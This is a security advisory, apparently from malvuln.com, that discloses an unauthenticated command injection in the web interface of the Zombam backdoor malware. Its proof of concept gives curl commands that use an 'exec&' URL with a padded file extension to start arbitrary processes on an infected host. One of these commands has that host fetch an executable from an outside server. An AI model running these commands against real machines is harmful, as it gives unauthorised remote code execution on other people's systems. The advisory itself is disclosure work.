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Backdoor.Win32.Zombam.gen Code Execution

Backdoor.Win32.Zombam.gen Code Execution
Posted Jun 11, 2021
Authored by malvuln | Site malvuln.com

Backdoor.Win32.Zombam.gen malware suffers from a code execution vulnerability.

tags | exploit, code execution
systems | windows
MD5 | bc125cb6e509f9cc9002fd74b5a4119c

Backdoor.Win32.Zombam.gen Code Execution

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Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/ff6516c881dee555b0cd253408b64404_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Zombam.gen
Vulnerability: Unauthenticated URL Command Injection
Description: Zombam malware listens on TCP port 80 and deploys a HTML Web UI for basic remote administration capability. The RAT has option to kill processes by clicking a link E.g. href="/kill&smss.exe&" this would terminate the smss.exe process. By changing "kill" to exec "exec&<command-to-run>" you can start arbitrary processes. Crafting a successful injection requires padding an extra character to the end of the executable extension you want to call, otherwise it gets truncated and will fail. Example, curl http://x.x.x.x/exec&calc.exe results in the following message: "error! calc.ex cannot be executed". However, padding the extra character so ".exe" becomes ".exee", curl http://x.x.x.x/exec&calc.exee will successfully process and we will get the response "calc.exe executed".
Type: PE32
MD5: ff6516c881dee555b0cd253408b64404
Vuln ID: MVID-2021-0244
Disclosure: 06/10/2021

Exploit/PoC:
Opens the default web-browser on the infected host to download the file "DOOM.exe" from the server.

CURL http://x.x.x.x/exec&http://hyp3rlinx.altervista.org/DOOM.exee

HTTP Response:
http://hyp3rlinx.altervista.org/DOOM.exe executed


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
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